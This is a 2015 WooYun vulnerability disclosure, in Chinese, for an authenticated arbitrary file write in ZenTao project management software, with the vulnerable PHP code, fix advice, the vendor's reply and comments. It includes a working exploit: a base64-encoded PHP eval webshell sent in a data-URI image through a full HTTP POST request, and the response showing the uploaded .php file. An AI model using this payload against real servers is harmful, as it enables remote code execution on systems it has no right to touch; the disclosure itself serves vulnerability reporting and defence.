当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(32) 关注此漏洞

缺陷编号: WooYun-2015-151565

漏洞标题: 禅道项目管理软件任意文件写入漏洞(需要登录)

相关厂商: 禅道

漏洞作者: xiao.k

提交时间: 2015-11-04 10:06

公开时间: 2015-12-17 14:48

漏洞类型: 文件上传导致任意代码执行

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 任意文件上传 任意文件上传

9人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-04: 细节已通知厂商并且等待厂商处理中
2015-11-04: 厂商已经确认,细节仅向厂商公开
2015-11-07: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-12-29: 细节向核心白帽子及相关领域专家公开
2016-01-08: 细节向普通白帽子公开
2016-01-18: 细节向实习白帽子公开
2015-12-17: 细节向公众公开

简要描述:

Finger 问我禅道老版本的问题,我就稍微看了下老版本的代码。很巧的是又发现了一个漏洞。

详细说明:

## 漏洞触发条件

需要登录

## 漏洞影响范围

开源版 7.3,专业版4.7.1 以及之前版本

## 漏洞代码分析

关键代码在`\module\file\model.php`,252-276行。

code 区域
/**
* Paste image in kindeditor at firefox and chrome.
*
* @param string $data
* @access public
* @return string
*/
public function pasteImage($data)
{
$data = str_replace('\"', '"', $data);

ini_set('pcre.backtrack_limit', strlen($data));
preg_match_all('/<img src="(data:image\/(\S+);base64,(\S+))".*\/>/U', $data, $out);
foreach($out[3] as $key => $base64Image)
{
$imageData = base64_decode($base64Image); //解密文加内容

$file['extension'] = $out[2][$key]; //文件后置
$file['pathname'] = $this->setPathName($key, $file['extension']); //文件名
$file['size'] = strlen($imageData);
$file['addedBy'] = $this->app->user->account;
$file['addedDate'] = helper::today();
$file['title'] = basename($file['pathname']);

file_put_contents($this->savePath . $file['pathname'], $imageData); //写入数据
$this->dao->insert(TABLE_FILE)->data($file)->exec();

$data = str_replace($out[1][$key], $this->webPath . $file['pathname'], $data);
}

return $data;
}



程序会提取data中的内容,经过base64_decode然后写入到文件中。文件的后缀来自image/后分号之前的内容。我们的data内容构造如下:

code 区域
<img src="data:image/php;base64,PD9waHAgZXZhbCgkX1BPU1RbdG1kXSk/Pg=="      />



PD9waHAgZXZhbCgkX1BPU1RbdG1kXSk/Pg== 实际内容为 <?php eval($_POST[tmd])?>。为了满足正则表达式,引号之后要多加几个空格。

完整的数据包如下:

code 区域
POST /official/ZenTaoPMS.Pro4.7.1/zentaopms/www/file-ajaxPasteImage.html HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36
DNT: 1
Referer: http://**.**.**.**/official/ZenTaoPMS.5.3.stable/zentaopms/www/my/
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: sid=u678s5mfdlk02hh35o3lldmpf1
Content-Length: 84
Content-Type: application/x-www-form-urlencoded

editor=<img src="data:image/php;base64,PD9waHAgZXZhbCgkX1BPU1RbdG1kXSk/Pg==" />





返回

code 区域
HTTP/1.1 200 OK
Date: Tue, 03 Nov 2015 10:38:08 GMT
Server: Apache/2.4.12
X-Powered-By: PHP/5.6.6
Set-Cookie: lang=zh-cn; expires=Thu, 03-Dec-2015 10:38:08 GMT; Max-Age=2592000; path=/official/ZenTaoPMS.Pro4.7.1/zentaopms/www/
Set-Cookie: theme=default; expires=Thu, 03-Dec-2015 10:38:08 GMT; Max-Age=2592000; path=/official/ZenTaoPMS.Pro4.7.1/zentaopms/www/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Length: 103
Content-Type: text/html; Language=UTF-8;charset=UTF-8

<img src="/official/ZenTaoPMS.Pro4.7.1/zentaopms/www/data/upload/1/201511/0318380808104ldm.php" />

漏洞证明:

shell.JPG

修复方案:

写的时候,检验下文件的后缀。

版权声明:转载请注明来源 xiao.k@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-11-04 11:15

厂商回复:

谢谢反馈。
这个问题和之前另外一个白帽子的是一个问题。近期会发布一个版本解决下。
其实禅道都是内部使用的,还有之前很多黑帽子说的我们可以直接创建php文件的问题,那其实都是禅道自身的功能。
安全和使用方便还是要做一个平衡吧。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-11-04 10:07 | hecate ( 普通白帽子 | Rank:796 漏洞数:125 | ®高级安全工程师 | WooYun认证√)
    1

    sofa

  2. 2015-11-04 10:20 | _Thorns ( 普通白帽子 | Rank:1712 漏洞数:261 )
    0

    大早上就看到惊喜,哈哈。

  3. 2015-11-04 11:21 | xiao.k ( 普通白帽子 | Rank:157 漏洞数:16 | 纳威网络安全导航 navisec.it)
    0

    前排找工作,求各路大牛收留

  4. 2015-11-04 11:26 | hecate ( 普通白帽子 | Rank:796 漏洞数:125 | ®高级安全工程师 | WooYun认证√)
    0

    @xiao.k http://job.wooyun.org/

登录后才能发表评论,请先 登录